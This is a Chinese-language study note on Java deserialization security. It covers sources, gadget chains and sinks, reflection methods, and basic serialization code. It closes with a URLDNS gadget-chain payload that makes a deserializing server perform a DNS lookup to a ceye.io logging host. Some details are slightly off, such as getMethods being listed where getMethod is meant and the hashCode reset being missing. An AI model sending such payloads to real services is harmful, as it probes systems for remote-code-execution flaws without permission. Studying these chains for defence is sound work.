Java序列化基础

Java序列化基础

序列化与反序列化

序列化就是将一个对象压缩为字节流的形式,而反序列化就是将字节流转换回内存中的对象

为什么会不安全

  • 对于Java来说,反序列化不安全的点,是在于其反序列化时进行了“额外的操作”(重写readObject方法中的内容)
  • 可能的危险形式
  • 入口类的readObject直接调用危险方法
  • 入口类参数中包含可控类,该类有危险方法,readObject时调用
  • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用,比如在类型为Object时调用对应的equals/hashcode/toString等方法
  • 构造函数或静态代码块等类加载时隐式执行

一些条件

共同条件:实现Serializable接口

入口类 source(重写readObject,参数类型宽泛,最好JDK自带)

调用链 gadget chain

执行类 sink (RCE,SSRF,写文件等)

反射

官方释义:Java的反射机制是指在运行状态中,对于任意一个类都能知道这个类的所有属性和方法,并且对于任意一个对象,都能调用它的任意一个方法,这种动态获取信息以及动态调用对象方法的功能称为Java的反射机制

作用

  • 让Java具有动态性
  • 修改已有对象的属性
  • 动态生成对象
  • 动态调用方法
  • 操作内部类和私有方法

一些反射方法

  • obj.getClass()获取对象类Class对象
  • cla.getConstructor(参数1类型,参数2类型)获取对象指定形式的构造方法Constructor对象
  • cst.newInstance(参数1,参数2)通过指定的构造方法新建对一个对应类的对象
  • cls.getDeclaredFields()获取所有类中声明的变量,返回一个Field数组
  • cls.getDeclaredField(变量名)通过变量名获得该类变量对象,返回一个Field对象
  • fld.set(对象,新变量值)给对象设置新变量内容
  • fld.setAccessible(布尔)给类的变量设置访问属性,true为可访问
  • cls.getMethods()获取类的所有方法,返回一个Method数组
  • cls.getMethods(方法名,参数范型)通过方法名获取该类方法,返回一个Method对象
  • med.invoke(对象,传参)

反射在反序列化中的应用

  • 定制需要的对象
  • 通过invoke调用除同名函数之外的函数
  • 通过Class类创建对象,引入不能序列化的类

代理

为其他对象提供一个代理来访问原对象,比如各种的get和set方法就是一种代理

静态代理

动态代理

需要使用JDK中的Proxy类

Java序列化实例

需要实现java.io.Serializable接口(该接口是一个空接口)

//Person.java
package top.darkflow;

import java.io.Serializable;

public class Person implements Serializable {
    public String name;
    public int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
}
//Main.java
package top.darkflow;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {
    public static void main(String[] args) throws IOException {
        Person p=new Person("Jlan",18);
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.ser"));
        objectOutputStream.writeObject(p);//序列化过程
        objectOutputStream.close();
    }
}

一些注意事项

  • 序列化针对的是对象而不是类,所以在序列化时静态成员是不会被序列化的
  • 如果子类实现了Serializable接口而父类没有实现,那么在序列化时父类定义的内容不会被序列化
  • 如果类中添加了transient关键字,那么该属性不会被序列化
//Main.java
package top.darkflow;

import java.io.*;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.ser"));
        Person p=(Person)objectInputStream.readObject();//需要强制类型转换
        System.out.println(p.name);
        objectInputStream.close();
    }
}
  • 类中serialVersionUID,如果序列化与反序列化类的serialVersionUID不同会直接抛出异常

一个简单的反序列化链

URLDNS

  • 该链由两个类组成,分别是HashMap和URLStreamHandler类

  • HashMap中重载了readObject函数

    for (int i = 0; i < mappings; i++) {
    		@SuppressWarnings("unchecked")
    			K key = (K) s.readObject();
    		@SuppressWarnings("unchecked")
          V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false);
    }

    此处调用了hash函数,那么如果其中有变量重写了hash函数,那么就有可能有漏洞

  • 我们发现URLStreamHandler类中的hashCode函数调用了getHostAddress方法,此处对传入参数u进行了DNS查询,此时反序列化链就明显了

  • ```
    HashMap.readObject->URLStreamHandler.hashCode->getHostAddress

    
    ```java
    public class Main {
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            String url="http://kcywg9.ceye.io";
            URLStreamHandler handler=new SilentURLStreamHandler();
            HashMap ht=new HashMap();
            URL u=new URL(null,url,handler);
            ht.put(u,url);
            ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ht.ser"));
            objectOutputStream.writeObject(ht);//序列化过程
            objectOutputStream.close();
        }
        static class SilentURLStreamHandler extends URLStreamHandler{
            SilentURLStreamHandler(){}
            protected URLConnection openConnection(URL u) throws IOException{
                return null;
            }
            protected synchronized InetAddress getHostAddress(URL u){return null;}
        }
    }